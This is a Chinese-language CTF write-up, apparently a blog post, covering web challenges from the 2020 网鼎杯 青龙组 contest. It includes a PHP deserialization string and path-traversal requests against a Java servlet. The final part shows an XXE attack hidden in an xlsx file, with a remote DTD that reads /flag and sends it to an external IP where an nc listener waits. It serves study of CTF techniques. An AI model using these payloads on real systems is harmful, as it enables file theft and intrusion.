网鼎杯青龙组部分web-wp

标签:为我   src   href   nts   system   mapping   测试   man   content   

[网鼎杯 2020 青龙组]前言

第一次网鼎杯,

就……哎,一言难尽。加油吧。

2

1

AreUSerialz

大佬萌说是PHP7.x的检测问题直接把protected改成public就行

O:11:"FileHandler":4:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";}

fileJava

经过简单测试发现就是Servlet+Jsp的集合

payload1:

http://dede6dc721724e09803ef969e7fde1f73ec217cbe7b9401c.cloudgame2.ichunqiu.com:8080/file_in_java/DownloadServlet?filename=../../../web.xml

web.xml(配置文件,基本上不知道目录结构的话看这个就够了)

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
   
  <display-name>file_in_java</display-name>
  <welcome-file-list>
    <welcome-file>upload.jsp</welcome-file>
  </welcome-file-list>
    
  <servlet>
    <description></description>
    <display-name>UploadServlet</display-name>
    <servlet-name>UploadServlet</servlet-name>
    <servlet-class>cn.abc.servlet.UploadServlet</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>UploadServlet</servlet-name>
    <url-pattern>/UploadServlet</url-pattern>
  </servlet-mapping>
  <servlet>
    <description></description>
    <display-name>ListFileServlet</display-name>
    <servlet-name>ListFileServlet</servlet-name>
    <servlet-class>cn.abc.servlet.ListFileServlet</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>ListFileServlet</servlet-name>
    <url-pattern>/ListFileServlet</url-pattern>
  </servlet-mapping>
  <servlet>
    <description></description>
    <display-name>DownloadServlet</display-name>
    <servlet-name>DownloadServlet</servlet-name>
    <servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>DownloadServlet</servlet-name>
    <url-pattern>/DownloadServlet</url-pattern>
  </servlet-mapping>
</web-app>

其中的displayname也印证了显示的file_in_java为什么有upload.jsp。

welcome-file-list是默认的首页显示upload.jsp

<display-name>file_in_java</display-name>
  <welcome-file-list>
    <welcome-file>upload.jsp</welcome-file>
  </welcome-file-list>

再往下的

cn.abc.servlet.xxxxxxx都是包名顺着目录去找xxxxx.class(字节码)文件

下载各类java文件。

/DownloadServlet
?filename=../../../classes/cn/abc/servlet/UploadServlet.class

?filename=../../../classes/cn/abc/servlet/ListFileServlet.class

?filename=../../../classes/cn/abc/servlet/UploadServlet.class

?filename=../../../../upload.jsp

?filename=../../../../META-INF/MANIFEST.MF

image-20200511104831457

把所有的文件都下载下来了几乎,好像还有个list.jsp、message.jsp。都在源码的请求转发处体现了。

找点

菜鸡的我没明白具体的getshell或者文件读取的方法(提一句),才把所有的都下载下来。

后来其他人说应该是xxe啥的,具体触发代码,在下方写出来。

xlsx文件也可xxe,新技能新姿势! (xxe白痴,xml不是我的强项,比赛时候就8会写了,昨个赛后研究了一下 )。

看了很多文章,比如:https://xz.aliyun.com/t/3357,看太多了篇了。

再往后就是复现时总是带不出内容,然后开始不停的问大师傅,终于明白了。

(mm狮虎萌)

filename.startsWith("excel-") && "xlsx".equals(fileExtName)
if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {
          
          try {

            
            Workbook wb1 = WorkbookFactory.create(in);
            Sheet sheet = wb1.getSheetAt(0);
            System.out.println(sheet.getFirstRowNum());
          } catch (InvalidFormatException e) {
            System.err.println("poi-ooxml-3.10 has something wrong");
            e.printStackTrace();
          } 
}

构造xxe

新建xlsx文件,改后缀名为zip,解压修改[Content_Types].xml的内容。

[Content_Types].xml

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://174.1.57.28/file.dtd">
%remote;%int;%send;
]>

保存后把文件夹压缩回.zip,然后改回后缀为.xlsx。

image-20200511105845961

在自己服务器的网站根目录新建一个,因为我是buu复现的,所以开buu的靶机即可,

apache服务默认开启的。

file.dtd文件

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM ‘http://174.1.57.28:2333?h3zh1=%file;‘>">

开启监听

nc -lvvp 2333

上传excel-***.xlsx文件

一定要用excel-开头。有代码检测了。

上面提到过。

filename.startsWith("excel-") && "xlsx".equals(fileExtName)

成功带入flag内容

h3zh1

[notes]

好像不大会,晚些复现……

网鼎杯青龙组部分web-wp

标签:为我   src   href   nts   system   mapping   测试   man   content   

原文地址:https://www.cnblogs.com/h3zh1/p/12868014.html